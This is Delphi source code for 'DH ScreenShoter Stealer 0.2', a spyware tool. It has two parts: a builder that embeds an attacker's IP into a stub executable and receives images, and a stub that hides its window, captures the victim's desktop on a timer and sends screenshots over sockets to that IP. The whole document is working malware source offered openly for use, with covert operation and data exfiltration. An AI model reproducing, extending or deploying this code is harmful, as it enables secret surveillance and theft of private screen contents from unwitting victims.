[Delphi] DH ScreenShoter Stealer 0.2

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit screen;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  sEdit;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    Timer1: TTimer;
    Timer2: TTimer;
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    Image2: TImage;
    sLabel1: TsLabel;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sButton2: TsButton;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    Image3: TImage;

    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    conexion: TFileStream;
    control: integer;

  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  cantidad: string;

implementation

uses fullscreen;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure achicar(archivo, medir1, medir2: string);

// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com

var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;

begin

  try
    begin

      bit2 := TJpegImage.Create;

      bit2.Loadfromfile(archivo);

      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;

      bit1 := TBitmap.Create;

      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);

      bit2.Assign(bit1);

      bit2.SaveToFile(archivo);

    end;
  except
    //
  end;

end;
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Open;

      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'stealer_ready.exe';

  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;

begin

  contenido := Socket.ReceiveText;

  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);

    ServerSocket2.Open;

  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;

procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;

begin

  Timer1.Enabled := True;

  while Socket.ReceiveLength > 0 do

  begin

    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));

    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;

    if conexion.Size >= StrToInt(cantidad) then

    begin

      conexion.Free;

      Timer1.Enabled := False;

      control := 0;

      Break;

    end;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin

          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;

end.

// The End ?

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  target: string;

implementation

{$R *.dfm}
// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;

begin

  aca := GetWindowDC(GetDesktopWindow);

  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;

  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

end;


//

procedure TForm1.FormCreate(Sender: TObject);

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

begin

  Application.ShowMainForm := False;

  ob := INVALID_HANDLE_VALUE;
  code := '';

  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;

  todo := regex(code, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');

  target := regex(todo, '[ip]', '[ip]');

  try
    begin
      ClientSocket1.Address := target;
      ClientSocket1.Open;
    end;
  except
    //
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  archivo: string;
  envio: TFileStream;
  dir: string;

begin

  try
    begin

      if ClientSocket1.Active = True then

      begin
        dir := GetEnvironmentVariable('USERPROFILE') + '\';

        chdir(dir);

        if (FileExists('screen.jpg')) then
        begin
          DeleteFile('screen.jpg');
        end;

        capturar('screen.jpg');

        archivo := dir + 'screen.jpg';

        try
          begin
            ClientSocket1.Socket.SendText
              ('0x3archivo' + ExtractFileName(archivo));
            envio := TFileStream.Create(archivo, fmopenread);

            sleep(500);

            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));

            envio.Free;

            ClientSocket2.Address := target;
            ClientSocket2.Open;

            ClientSocket2.Socket.SendStream
              (TFileStream.Create(archivo, fmopenread));
          end;
        except
          //
        end;
      end;
    end;
  except
    //
  end;

end;

end.

// The End ?